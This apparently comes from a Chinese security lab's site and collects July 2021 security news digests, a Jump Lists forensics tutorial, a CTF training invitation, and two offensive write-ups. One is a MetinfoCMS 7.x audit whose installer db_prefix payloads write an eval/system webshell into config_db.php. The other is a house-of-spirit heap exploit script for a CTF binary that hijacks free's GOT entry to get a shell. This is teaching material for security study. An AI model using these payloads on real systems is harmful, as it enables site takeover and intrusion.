网络安全日报 2021年07月06日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、CISA 和 FBI 发布了针对 Kaseya供应链攻击的受害者缓解指南 https://securityaffairs.co/wordpress/119728/cyber-crime/cisa-fbi-guidance-kaseya-attack.html 2、Revil 勒索软件团伙攻击了西班牙电信巨头 MasMovil https://securityaffairs.co/wordpress/119719/cyber-crime/masmovil-ransomware-attack.html 3、Revil勒索软件要求支付7000W美金才肯解锁被感染的Kaseya系统 https://securityaffairs.co/wordpress/119709/cyber-crime/revil-ransomware-kaseya-decryptor.html 4、360 Vulcan Team 发现Windows 11 高危本地提权漏洞 https://mp.weixin.qq.com/s/_PjO4_wpe2LQc4BMfg-FGg 5、新Covid-19主题网络钓鱼活动可绕过SEG检测 https://cofense.com/blog/covid-19-variant-malware/ 6、美国水务公司WSSC Water遭到勒索软件攻击 https://securityaffairs.co/wordpress/119700/cyber-crime/wssc-water-ransomware-attack.html 7、WAGO设备漏洞可导致工业企业受到远程攻击 https://www.securityweek.com/vulnerabilities-wago-devices-expose-industrial-firms-remote-attacks 8、Diavol Ransomware 与 Wizard Spider 的关联被揭露 https://cyware.com/news/diavol-ransomwares-connection-with-wizard-spider-revealed-b718ce77 9、安装总量达500W的多个安卓应用窃取Facebook凭证 https://thehackernews.com/2021/07/android-apps-with-58-million-installs.html 10、TrickBot 僵尸网络部署了一种名为 Diavol 的新型勒索软件 https://thehackernews.com/2021/07/trickbot-botnet-found-deploying-new.html
网络安全日报 2021年07月05日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、REvil勒索软件在Kaseya 供应链攻击中利用了零日漏洞 https://securityaffairs.co/wordpress/119688/cyber-crime/kaseya-zero-day-revil.html 2、攻击者入侵了蒙古 CA MonPass 服务器并利用其传播恶意软件 https://securityaffairs.co/wordpress/119677/malware/mongolian-ca-monpass-hack.html 3、 Kaseya VSA 供应链勒索攻击影响了数百家公司 https://securityaffairs.co/wordpress/119650/cyber-crime/kaseya-vsa-supply-chain-ransomware-attack.html 4、微软敦促Azure用户更新PowerShell以修复RCE漏洞 https://securityaffairs.co/wordpress/119629/security/microsoft-azure-powershell-rce-flaw.html 5、微软警告PrintNightmare漏洞已被利用 https://thehackernews.com/2021/07/microsoft-warns-of-critical.html 6、TrickBot 升级改进其银行木马模块 https://threatpost.com/trickbot-banking-trojan-module/167521/ 7、美国保险巨头 AJG 报告勒索软件攻击后数据泄露 https://www.bleepingcomputer.com/news/security/us-insurance-giant-ajg-reports-data-breach-after-ransomware-attack/ 8、滴滴出行APP存在严重违法违规收集个人信息问题被下架 https://finance.sina.com.cn/stock/relnews/us/2021-07-05/doc-ikqcfnca4936032.shtml 9、PurpleFox漏洞利用包利用WPAD感染用户 https://www.trendmicro.com/en_us/research/21/g/purplefox-using-wpad-to-targent-indonesian-users.html 10、研究人员发现投送Warzone RAT的攻击活动 https://blogs.quickheal.com/warzone-rat-beware-of-the-trojan-malware-stealing-data-triggering-from-various-office-documents/
网络安全日报 2021年07月02日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、英美机构警告俄罗斯 APT 进行大规模暴力攻击 https://securityaffairs.co/wordpress/119595/apt/russia-apt-brute-force-attacks.html 2、内华达州大学医学中心医院遭入侵导致数据泄露 https://securityaffairs.co/wordpress/119591/data-breach/university-medical-center-data-breach.html 3、微软专家披露Netgear 路由器中身份验证绕过等多个高危漏洞 https://securityaffairs.co/wordpress/119574/hacking/netgear-flaws-router-takeover.html 4、CISA发布新的勒索软件自我评估安全审计工具 https://securityaffairs.co/wordpress/119568/security/cisa-ransomware-readiness-assessment.html 5、受勒索软件团伙青睐的 DoubleVPN 的服务器被查封 https://thehackernews.com/2021/06/authorities-seize-doublevpn-service.html 6、安全厂商披露Indexsinas攻击活动新细节 https://www.guardicore.com/labs/smb-worm-indexsinas/ 7、超过120万俄罗斯人登录凭据在网上泄露 https://www.ehackingnews.com/2021/06/logins-and-passwords-of-at-least-12.html 8、Android木马窃取Facebook用户登录凭据 https://news.drweb.com/show/?i=14244&lng=en&c=5&& 9、Windows 11 新增 DNS-over-HTTPS 功能 https://www.bleepingcomputer.com/news/microsoft/windows-11-includes-the-dns-over-https-privacy-feature-how-to-use/ 10、恶意软件攻击者利用 AutoHotkey 脚本进行攻击 https://securityintelligence.com/news/malware-using-autohotkey-scripts/
网络安全日报 2021年07月01日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、普京与Rossiya-24电视台的电话直播遭大规模网络攻击 https://securityaffairs.co/wordpress/119559/hacking/putin-call-massive-attack.html 2、SolarWinds 黑客攻击了丹麦中央银行并已隐匿数月之久 https://securityaffairs.co/wordpress/119527/cyber-warfare-2/denmarks-central-bank-solarwinds-hackers.html 3、WD确认最近针对其存储设备的攻击中利用了零日漏洞 https://www.securityweek.com/zero-day-vulnerability-exploited-recent-attacks-wd-storage-devices 4、GitHub 推出“Copilot”——人工智能驱动的代码完成工具 https://thehackernews.com/2021/06/github-launches-copilot-ai-powered-code.html 5、Adobe Experience Manager 修复高危零日漏洞 https://www.infosecurity-magazine.com/news/zero-day-exploit-found-in-adobe/ 6、 PJobRAT 间谍软件伪装成Android约会应用窃取用户数据 https://gbhackers.com/pjobrat/ 7、鱼叉式网络钓鱼活动针对航空公司分发AsyncRAT https://www.fortinet.com/blog/threat-research/spear-phishing-campaign-with-new-techniques-aimed-at-aviation-companies 8、WordPress插件多个漏洞可导致远程代码执行 https://portswigger.net/daily-swig/multiple-vulnerabilities-in-wordpress-plugin-pose-website-remote-code-execution-risk 9、钓鱼邮件冒充Indeed就业网站以窃取用户凭据 https://hotforsecurity.bitdefender.com/blog/cyber-crooks-hunt-for-indeed-job-seekers-account-credentials-in-latest-phishing-campaign-26054.html 10、趋势科技报告称越来越多地工业系统遭勒索软件攻击 https://www.securityweek.com/ransomware-increasingly-detected-industrial-systems-report
Windows 取证之Jump Lists
一、概述 Jump Lists是Windows 7开始引入的新功能,该功能允许用户查看固定在任务栏中程序最近打开的文件,如图所示: Jump Lists由应用软件或者系统创建,作用是方便用户可以直接跳转到最近打开的文件或文件夹。Jump List显示的列表数量是有限的,在Windows 7/8操作系统中,用户可以通过更改注册表来修改Jump List的条数,但在Windows 10中,这个数量被固定了,用户无法自行修改。 二、Jump List 文件存储和格式 Jump List文件是一种OLE文件,存储在C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations和C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination路径下。 Jump List有两种类型,一种是存放在AutomaticDestinations路径中的automaticDestinations-ms (autoDest)文件,另一个是CustomDestination中的customdestination-ms(custDest)文件。 autoDest(*.automaticDestinations-ms)文件是由系统shell在用户与操作系统交互时(如启动应用程序、访问文件等)自动创建的,这些文件遵循Microsoft Compound File Binary(CFB)复合文件格式结构,并且文件中的每个编号流都遵循 MS-SHLLINK(即LNK)二进制文件格式。 custDest(*.customDestinations-ms)文件是在用户操作固定项目时创建的,比如拖到某个文件或应用程序固定到任务栏中,或在列表中固定某个项目。custDest文件只是一系列相互附加的lnk格式流组成。比autoDest文件更为简单。 每个列表文件名都是以一串长度为16位的字符串命令,后面跟上.automaticDestinations-ms或者.customDestinations-m为后缀。 这16位长度的十六进制字符串是APPID(应用程序标识符),用于标识特定的程序或文件。根据微软官方说明,APPID可以分为应用程序自定义(Application-Defined)和操作系统定义(System-Defined)两种。应用程序可自定义一个固定的APPID。如果没有,操作系统根据应用程序的路径使用CRC-64算法计算出APPID。 关于APPID的计算可以参考:https://www.hexacorn.com/blog/2013/04/30/jumplists-file-names-and-appid-calculator/ 一些常见应用程序的Jump List ID可以在互联网上找到: https://gist.github.com/atilaromero/2146441https://community.malforensics.com/t/list-of-jump-list-ids/158/1在autoDest文件中,除了Destlist流之外,其他流都是由LNK流组成。Destlist流遵循特定的结构,分别记录了作为MRU和MFUlist的文件访问顺序及文件访问次数,并且包含时间戳。在Windows 7和Windows 8中,Destlist流结构是一致的,但Windows 10中有所不同。 这里我们以Windows 7系统举例,通过16进制编辑器查看其结构组成,打开一个autoDest文件,其结构如下: D0 CF 11 E0 A1 B1 1A E1:OLECF文件标识符 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00:类标识符 (GUID) 3E 00:文件版本(次版本) 03 00:文件版本(主版本) FF FF:字节顺序标识符(FF FF为小端模式,FF FE为大端模式) 更多关于OLECF格式详情可以参考:https://github.com/libyal/libolecf/blob/main/documentation/OLE%20Compound%20File%20format.asciidoc#2-the-file-header Destlist头结构: 01 00 00 00:版本号(在windows 7/8中是版本1,windows 10 1511中是版本3) 11 00 00 00:当前条目数 00 00 00 00:"固定"的条目数量 33 33 E3 41:计数器 11 00 00 00 00 00 00 00:上一次的条目数 11 00 00 00 00 00 00 00:添加/删除操作的数量-随着条目的添加和删除而增加。 custDest(*.customDestinations-ms)文件的结构就简单很多: 前面36 Bytes是文件头,然后是lnk文件部分,然后是下一条lnk文件部分,然后是文件结尾0xbabffbab: 三、Jump Lists 取证实战 来源:Cynet应急响应挑战赛 题目描述:GOT-Research Ltd的 财务部总监 Lord Varys 发现,有关高级员工工资的某些信息被泄露,并传到了该组织的其他员工手中。此财务信息保存在网络共享文件夹中。此网络文件夹的权限已授予给 Lord Petyr Baelish和其他 2 名前雇员:John Snow 和 Daenerys Targaryen。 John 和 Daenerys 现在都是 GOT 的外部顾问,不再是财务部门的一员。但他们对财务共享文件夹的权限尚未撤销,Petyr Baelish, John和 Daenerys这三个人平时关系并不好,Varys怀疑这是泄密的原因,他认为有人想要陷害Petyr B 现在GOT委托你作为调查人员查清John或Daenerys是否访问了财务数据,其中包括已泄露的 Management-Salaries.xlsx 文件。 最终需要提交嫌疑人的名字和在嫌疑人主机上找到的可疑财务文件文件名、以及时间戳。 我们拿到的调查文件是John和Daenerys电脑上的Jump Lists文件: 我们使用JumpListExplorer工具(下载地址:https://ericzimmerman.github.io/#!index.md)对文件进行解析和分析: 经过检查和分析,最终在John的电脑上发现了可疑痕迹,在2020-02-07 00:03:54用WinRAR打开了一个Finance-Summary.rar的文件。 分析Jump Lists类似的工具还有JLECmd.exe、Nirsoft JumpListsView等。 参考资料: https://hal.inria.fr/hal-01988839/documenthttps://github.com/libyal/dtformats/blob/main/documentation/Jump%20lists%20format.asciidochttps://github.com/EricZimmerman/JumpList/blob/master/JumpList/Resources/AppIDs.txt https://cyberforensicator.com/wp-content/uploads/2017/01/1-s2.0-S1742287616300202-ma 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID9a4a-6bc7-4926-8ff5-6fa9c74fe756  (Autopsy Forensic Browser 是数字取证工具-The Sleuth Kit(TSK)的图形界面,用于对文件系统和卷进行取证。通过本实验学习文件系统取证的思想与方法,掌握Autopsy的使用。)
网络安全日报 2021年06月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、影响所有 Windows 的 CVE-2021-1675 RCE PoC 在线发布 https://securityaffairs.co/wordpress/119502/hacking/2021-1675-rce-poc.html 2、Linux 版本的 REvil 勒索软件以 ESXi 虚拟机为目标 https://securityaffairs.co/wordpress/119497/cyber-crime/revil-ransomware-linux.html 3、研究人员为 Lorenz 勒索软件开发了免费解密器 https://securityaffairs.co/wordpress/119492/cyber-crime/lorenz-ransomware-free-decryptor.html 4、Malvuln 项目在恶意软件中发现 260 个漏洞 https://www.securityweek.com/malvuln-project-catalogues-260-vulnerabilities-found-malware5、谷歌宣布针对 Google Play 开发者帐户新的安全措施 https://www.securityweek.com/new-security-measures-announced-google-play-developer-accounts 6、Phoenix Contact多款工业产品存在高危漏洞 https://www.securityweek.com/high-severity-vulnerabilities-found-several-phoenix-contact-industrial-products 7、联合国安理会首次举行关于网络安全的公开会 https://www.securityweek.com/un-security-council-confronts-growing-threat-cyber-attacks 8、未修补的虚拟机接管漏洞影响 Google Compute Engine https://thehackernews.com/2021/06/unpatched-virtual-machine-takeover-bug.html 9、Zzoomm互联网服务提供商遭遇DDoS攻击 https://www.technadu.com/uk-isp-zzoomm-hiy-ddos-actors-suffered-service-disruption/286118/ 10、以色列AcadeME网站泄露约28万学生的信息 https://www.jpost.com/israel-news/details-of-over-200000-students-leaked-in-cyberattack-672179
2021年网络安全高级研修班·第二期 邀请函
为深入贯彻网络强国战略思想,落实“十四五”规划和2035年远景目标纲要对网安工作的重要部署,加强网络安全关键技术研发、技术创新,加强网络安全宣传教育和人才培养,加强网络安全保障体系和能力建设,全面提升网络安全产业综合竞争力。特针对CTF竞赛、CTF实战训练等热点需求,举办此次“2021年网络安全高级研修班”。 一、会议组织 指导单位: 中国网络空间安全人才教育论坛 主办单位: 湖南蚁景科技有限公司 二、会议内容 本次会议将从CTF竞赛新发展及战队训练方法展开,主要针对CTF竞赛的Web安全方向实战实训,内容涵盖CTF常考题型、CTF Web安全常见工具与执行、CTF SQL注入详解、CTF真题亲历与实战演练等。 专题报告部分:邀请国内知名网安战队指导老师就“CTF竞赛新发展及战队训练方法”等进行交流报告。 CTF常考题型:密码(CRYPTO)题型;逆向(REVERSE)题型;PWN题型;杂项(MISC)题型;实战RW题型;安全新场景题型。 CTF Web安全常见工具与执行:涵盖Web安全介绍、Web常见的套路(HTTP基础)、Webshell介绍、webshell工具使用、命令执行代码审计等。 CTF SQL注入详解:涵盖SQL注入基础语法、 联合查询注入/盲注、宽字节注入,堆叠注入、SQL注入真题讲解等。 CTF真题亲历与实战演练:常规SSRF利用,SSRF攻击redis等、SSRF真题讲解、CTF比赛、CTF比赛题目讲解等。 三、参会对象 全国高校、职业院校计算机相关专业(信息安全、计算机科学与技术、网络安全、信息科学与工程、软件工程、网络工程等)学科带头人、专业骨干教师、实验室人员参加。 四、参会收获 1、了解CTF竞赛新发展及战队训练方法,进行交流。 2、掌握CTF常用工具及使用实战技能,熟悉CTF常考题型。 3、了解CTF最新发展动态,亲历CTF真题与实战演练。 4、获得由中国网络空间安全人才教育论坛颁发的证书。 五、会议安排 1、会议方式:线下开展 2、报到时间:2021年7月26日全天 3、会议时间:2021年7月27日-7月31日 4、报到地点:湖南长沙 5、会议地点:湖南长沙 6、会议规模:50人 六、会议报名 1、报名时间:即日起至2021年7月16日 2、报名邮箱:EDU@antvsion.com 3、电话咨询:宋老师  136 5741 3038 4、培训费:3680元/人(含培训资料,参会人员路费和食宿费用自理,老师需自带电脑) 5、付款方式: ◆ 线上汇款:请务必在备注栏里注明“学校名+参会者姓名”公司名称:湖南蚁景科技有限公司开户行名称:北京银行长沙麓谷支行开户行账号:2000 0044 8649 0003 6286 388◆ 现场缴费:现金、扫码或刷卡(银行卡、公务卡均可) 具体课程内容 扫描下方二维码即可报名
米拓建站系统1day审计与利用
Metinfocms命令执行 前话: 米拓企业建站系统是一款由长沙信息科技有限公司自主研发的免费开源企业级CMS,该系统拥有大量的用户使用,及对该款cms进行审计,如果利用CNVD-2021-01930进行进一步深入,其危害的严重性可想而知。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID269f-6dc2-4412-bbad-a27109b207cf    (通过该实验掌握MetInfo SQL注入漏洞的原因和利用方法,以及如何修复该漏洞。) 审计过程: 1. Index:拿到源码先看根目录的index.php看看都包含(加载)了什么文件。  2. 关键词:在/app/system/entrance.php看到了配置文件的定义,全局搜索这个 ’PATH_CONFIG‘参数。  全局搜索并找到install/index.php文件下有这个参数,点击跟进查看。  在这个文件的219行有个是接收db数据库参数的方法。 官方说明“$_M”数组:https://doc.metinfo.cn/dev/basics/basics75.html 这里是接收from数据的db_prefix参数。也就是“数据表前缀”内容的值。  往下发现是直接写入tableper然后赋值给config变量。  并在264行fopen打开/config/config_db.php进行没有安全过滤的字节流(fputs)方式的写入。  影响版本:7.3.0 - 7.0.0 一、进行7.3.0安装步骤,访问http://127.0.0.1/install/index.php  二、选中传统安装继续下一步   三、数据库信息进行写shell 代码执行Payload:"*/@eval($_GET['1']);/* 命令执行Payload:"*/@system($_GET['1']);/* 代码执行:   点击保存进行下一步验证,出现这报错信息,可以查看config\config_db.php文件。   成功写入  命令执行:    7.0.0版本:     7.1.0版本: Payload:"*/@eval($_GET['1']);@system($_GET['2']);/*     7.2.0版本: Payload:"*/@eval($_GET['1']);@system($_GET['2']);/*
网络安全日报 2021年06月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软调查分发恶意 Netfilter 驱动程序的攻击者 https://securityaffairs.co/wordpress/119476/malware/netfilter-driver-microsoft-attack.html 2、Babuk Locker 勒索软件构建器在线泄露 https://securityaffairs.co/wordpress/119467/cyber-crime/babuk-locker-ransomware-builder.html 3、ATM的NFC系统和POS中存在一个严重漏洞 https://gbhackers.com/researcher-managed-to-hack-atms/ 4、新闻阅读器NewsBlur遭黑客入侵数据被清除 https://www.securityweek.com/newsblur-restores-service-after-hacker-wipes-database 5、Edge修复了UXSS高危漏洞 https://thehackernews.com/2021/06/microsoft-edge-bug-couldve-let-hackers.html 6、Mozilla 推出注重隐私的数据共享研究平台-Rally https://www.securityweek.com/mozilla-launches-privacy-focused-browsing-data-sharing-platform 7、Google 计划推动 OSV采用统一规范的数据格式 https://security.googleblog.com/2021/06/announcing-unified-vulnerability-schema.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+GoogleOnlineSecurityBlog+%28Google+Online+Security+Blog%29&& 8、NVIDIA 修补GeForce软件中的高危性欺骗攻击漏洞 https://threatpost.com/nvidia-high-severity-geforce-spoof-bug/167345/ 9、新闻阅读器NewsBlur遭黑客入侵数据被清除 https://www.securityweek.com/newsblur-restores-service-after-hacker-wipes-database 10、7 亿 LinkedIn 用户的数据在暗网论坛出售 https://threatpost.com/data-700m-linkedin-users-cyber-underground/167362/
GDB调试堆漏洞之house of spirit
何为house of spirit? 该技术出自于2005年的The Malloc Maleficarum这篇文章,是一种用于获得某块内存区域控制权的技术 例如一个位于fastbin的区块是不可控的,但是我们希望对其进行读写操作只需他刚好满足以下两个条件即可。 第一,改区域的前后内存可控(通俗来讲就是堆溢出) 第二,存在一个可控指针作为free()函数的参数(此处通俗讲就是控制chunk 的fd或者bk指针),通过堆排布, 伪造fake chunk让他进入到fastbins,下次我们用同样大小的内存申请一个chunk就可以把这个chunk取出 ,从而得到控制权。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDf4f4-3f86-44b4-bd4c-e1c88520adde (在堆的情况下,当用户能够写入比预期更多的数据时,会发生内存损坏。通过本实验了解堆溢出,包括intra-chunk和inter-chunk两种类型,分别掌握其特点。) 今天我用一道例题来讲解如何从一个新手掌握GDB调试house of spirit的利用思想 题目:[ZJCTF 2019]EasyHeap 题目可在BUU上搜索得到 checksec如下 q@ubuntu:~/Desktop$ checksec easyheap [*] '/home/q/Desktop/easyheap'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000) 先看main函数里面一个点 v3==4869 然后magic>=0x1305就可以进入到后门 不过这个是假的后门远程没有这个路径 接着就是没用输出功能,可能会选择劫持stdout或者使用house of spirit 我们先继续分析 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) {  int v3; // eax  char buf[8]; // [rsp+0h] [rbp-10h] BYREF  unsigned __int64 v5; // [rsp+8h] [rbp-8h]  v5 = __readfsqword(0x28u);  setvbuf(stdout, 0LL, 2, 0LL);  setvbuf(stdin, 0LL, 2, 0LL);  while ( 1 ) {    while ( 1 )   {      menu();      read(0, buf, 8uLL);      v3 = atoi(buf);      if ( v3 != 3 )        break;      delete_heap();   }    if ( v3 > 3 )   {      if ( v3 == 4 )        exit(0);      if ( v3 == 4869 )     {        if ( (unsigned __int64)magic <= 0x1305 )       {          puts("So sad !");       }        else       {          puts("Congrt !");          l33t();       }     }      else     { LABEL_17:        puts("Invalid Choice");     }   }    else if ( v3 == 1 )   {      create_heap();   }    else   {      if ( v3 != 2 )        goto LABEL_17;        edit_heap();   } } } 一个个函数看下去,发现漏洞点在edit那里 (create那的话 chunk大小没限制,可惜这里没有输出功能不然利用mmap的特性直接泄露libc也是可以的,如果还是想的话配合劫持stdout也可以,只不过过于麻烦) 漏洞如下这小部分代码,堆的大小创建后不可更改,但是他可以更改输入内容的大小,意味着这里存在堆溢出 if ( *(&heaparray + v1) ) {    printf("Size of Heap : ");    read(0, buf, 8uLL);    v2 = atoi(buf);    printf("Content of heap : ");    read_input(*(&heaparray + v1), v2);    puts("Done !"); } edit() unsigned __int64 edit_heap() {  int v1; // [rsp+4h] [rbp-1Ch]  __int64 v2; // [rsp+8h] [rbp-18h]  char buf[8]; // [rsp+10h] [rbp-10h] BYREF  unsigned __int64 v4; // [rsp+18h] [rbp-8h]  v4 = __readfsqword(0x28u);  printf("Index :");  read(0, buf, 4uLL);  v1 = atoi(buf);  if ( v1 < 0 || v1 > 9 ) {    puts("Out of bound!");    _exit(0); }  if ( *(&heaparray + v1) ) {    printf("Size of Heap : ");    read(0, buf, 8uLL);    v2 = atoi(buf);    printf("Content of heap : ");    read_input(*(&heaparray + v1), v2);    puts("Done !"); }  else {    puts("No such heap !"); }  return __readfsqword(0x28u) ^ v4; } 整合信息(前置知识fastbin attack+unsortedbin) (简单的说就是如下这样) 其中①②③⑧⑨是fastbin attack需要做的,④⑤⑥⑦是unsortedbin attack需要做的: ①malloc fastchunk 0x70。 ②free掉fastchunk。 ③将fastchunk的fd变为target。 ④malloc 0x100。 ⑤free 0x100。 ⑥change 0x100+0x8的位置改为target(就是bk的位置)。 ⑦malloc 0x100,此时arena的地址被写入target中去了。 ⑧malloc 0x70,将第一次malloc的堆块取出来,使fastbin中只有target。 ⑨再次malloc 0x70 ==>就是取出target。 结论: 上面简单分析了下,我们有了堆溢出,有了system函数和free()函数,对于house of spirit 来说是完美条件 可以利用堆溢出进行构造fake chunk进而修改该chunk的fd或者bk指针,顺带写入/bin/sh 接下来利用house of spirit去更改free的got表指向system的plt,最后执行free就可以getshell 下面进行详细的分析 详细解答 那么我们可以从构造fake chunk控制堆的任意内容 (prev_size,fd,bk,堆的输入内容) 我们先来看下正常的chunk长什么样子 (部分脚本,脚本后面就是chunk) from pwn import * context.log_level = 'debug' def pause_debug():    log.info(proc.pidof(p))    pause() def create(size, content):    p.sendlineafter('choice :', str(1))    p.sendlineafter('Heap :', str(size))    p.sendafter('heap:', content) def edit(idx, size, content):    p.sendlineafter('choice :', str(2))    p.sendlineafter('Index :', str(idx))    p.sendlineafter('Heap :', str(size))    p.sendafter('heap :', content)     def delete(idx):    p.sendlineafter('choice :', str(3))    p.sendlineafter('Index :', str(idx)) proc_name = './easyheap' p = process(proc_name) #p = remote('node3.buuoj.cn', 27185) elf = ELF(proc_name) create(0x68, b'woaini') # 0 create(0x68, b'a') # 1 create(0x68, b'a') # 2 gdb.attach(p) chunk 我们先找到我们存放输入内容的地方,我们刚才创建的堆的大小都是0x70的 但是实际上我们没有那么多空间可以利用的,在0x2545070此处存放的是chunk的大小 下面的地方0x2545070 前面8个字节存放fd(前驱)指针,后面八个字节存放bk(后继)指针 (这里先说个思维,逆向思维!非常重要是做pwn题目的基础。 这里的堆的结构体是最基础的只有一项内容,要是多来几项呢? 比如 一本书的ID 名字 内容等等,他在gdb调试后所呈现的具体存放位置关系是怎么样的呢,我们要如何才能修改都是需要从ida里面逆向分析得到在利用gdb调试获取信息 这里推荐一道buu的题目关于 off by null的知识点的但是如果你成功的攻破后,逆向能力会有不小的提升 题目: asis2016_b00ks pwndbg> search woaini [heap]          0x2545010 0x696e69616f77 /* 'woaini' */ warning: Unable to access 16000 bytes of target memory at 0x7f810c08ed05, halting search. pwndbg> x/32gx 0x2545010 0x2545010: 0x0000696e69616f77 0x0000000000000000 0x2545020: 0x0000000000000000 0x0000000000000000 0x2545030: 0x0000000000000000 0x0000000000000000 0x2545040: 0x0000000000000000 0x0000000000000000 0x2545050: 0x0000000000000000 0x0000000000000000 0x2545060: 0x0000000000000000 0x0000000000000000 0x2545070: 0x0000000000000000 0x0000000000000071 0x2545080: 0x0000000000000061 0x0000000000000000 上面我们讲了正常的堆块的模样,下面我们来对他进行修整,做成我们的fake chunk 为了让这个fake chunk被检测机制所认可,这里我们需要修改prev_size令他等于1 也就是找到存放0x7f的地址我们可以从IDA里面先看看然后配合GDB去寻找 IDA的chunk开始的地方在该程序里面叫heaparray 我们向上寻找,从尾地址为A0的地方开始到B0夹杂着libc 我们都明白libc的开头就是0X7f 那么我们可以不限麻烦的在gdb从0x6020A0开始往下面开 最后发现在本程序中0x6020AD的内容就是0x7f (输入命令x/32gx 0x6020AD) .bss:00000000006020A0 ; =========================================================================== .bss:00000000006020A0 .bss:00000000006020A0 ; Segment type: Uninitialized .bss:00000000006020A0 ; Segment permissions: Read/Write .bss:00000000006020A0 _bss            segment align_32 public 'BSS' use64 .bss:00000000006020A0                 assume cs:_bss .bss:00000000006020A0                 ;org 6020A0h .bss:00000000006020A0                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing .bss:00000000006020A0                 public stdout@@GLIBC_2_2_5 .bss:00000000006020A0 ; FILE *stdout .bss:00000000006020A0 stdout@@GLIBC_2_2_5 dq ?               ; DATA XREF: LOAD:0000000000400410↑o .bss:00000000006020A0                                         ; main+17↑r .bss:00000000006020A0                                         ; Alternative name is 'stdout' .bss:00000000006020A0                                         ; Copy of shared data .bss:00000000006020A8                 align 10h .bss:00000000006020B0                 public stdin@@GLIBC_2_2_5 .bss:00000000006020B0 ; FILE *stdin .bss:00000000006020B0 stdin@@GLIBC_2_2_5 dq ?                 ; DATA XREF: LOAD:0000000000400428↑o .bss:00000000006020B0                                         ; main+35↑r .bss:00000000006020B0                                         ; Alternative name is 'stdin' .bss:00000000006020B0                                         ; Copy of shared data .bss:00000000006020B8 completed_7594  db ?                   ; DATA XREF: __do_global_dtors_aux↑r .bss:00000000006020B8                                         ; __do_global_dtors_aux+13↑w .bss:00000000006020B9                 align 20h .bss:00000000006020C0                 public magic .bss:00000000006020C0 magic           dq ?                   ; DATA XREF: main:loc_400D05↑r .bss:00000000006020C8                 align 20h .bss:00000000006020E0                 public heaparray .bss:00000000006020E0 ; void *heaparray .bss:00000000006020E0 heaparray       dq ?                   ; DATA XREF: create_heap+30↑r .bss:00000000006020E0                                         ; create_heap+8C↑w ... (包含0x7f结尾的) pwndbg> x/32gx 0x6020AD 0x6020ad: 0x07fea398e0000000 0x000000000000007f 0x6020bd: 0x0000000000000000 0x0000000000000000 下面上构造fake chunk 的脚本 delete(2) edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad)) gdb.attach(p) create(0x68, b'b') # 2 create(0x68, b'b') # 3 fake_chunk edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free'])) edit(0, 0x8, p64(elf.plt['system'])) delete(1) p.interactive() 我们这里的fake chunk选的是chunk 1 释放chunk2是为了让他的fd指针指向chunk1 接着利用如下语句,写入内容的大小改为0x78(实际上大小为0x70),然后传入/bin/sh后填充\x00到达我们的chunk size保持大小不变依然是0x71,接着传入0x6020ad也就是上面提到的0x7f的地址为了让这个chunk1 fake chunk被程序检测所认可 edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad)) 下面我们来看看修改好的QWQ 为什么是0x68,gdb已经给我们很好的结果了。/bin/sh占位就是8个字节(0x0068732f6e69622f),我们从0x80到0xe0共计0x60加上0x80后面的0x88那部分空白合并起来就是0x68了 然后传入0x71和0x6020ad 我们的fake chunk就好了 pwndbg> search /bin/sh [heap]          0x1be8080 0x68732f6e69622f /* '/bin/sh' */ libc-2.23.so    0x7f355118be57 0x68732f6e69622f /* '/bin/sh' */ warning: Unable to access 16000 bytes of target memory at 0x7f35511c6d06, halting search. pwndbg> x/32gx 0x1be8080 0x1be8080: 0x0068732f6e69622f 0x0000000000000000 0x1be8090: 0x0000000000000000 0x0000000000000000 0x1be80a0: 0x0000000000000000 0x0000000000000000 0x1be80b0: 0x0000000000000000 0x0000000000000000 0x1be80c0: 0x0000000000000000 0x0000000000000000 0x1be80d0: 0x0000000000000000 0x0000000000000000 0x1be80e0: 0x0000000000000000 0x0000000000000071 0x1be80f0: 0x00000000006020ad 0x0000000000000000 fake chunk一号准备完成 下面我们改free的got表为system的plt表,(不理解什么是got和plt的可以去康康知乎上的文章,简单说就是plt寻址got,然后got寻址真正地址去执行函数,我们在这把free的got改成system的plt)之后咋们执行free操作就是相当于执行system操作了 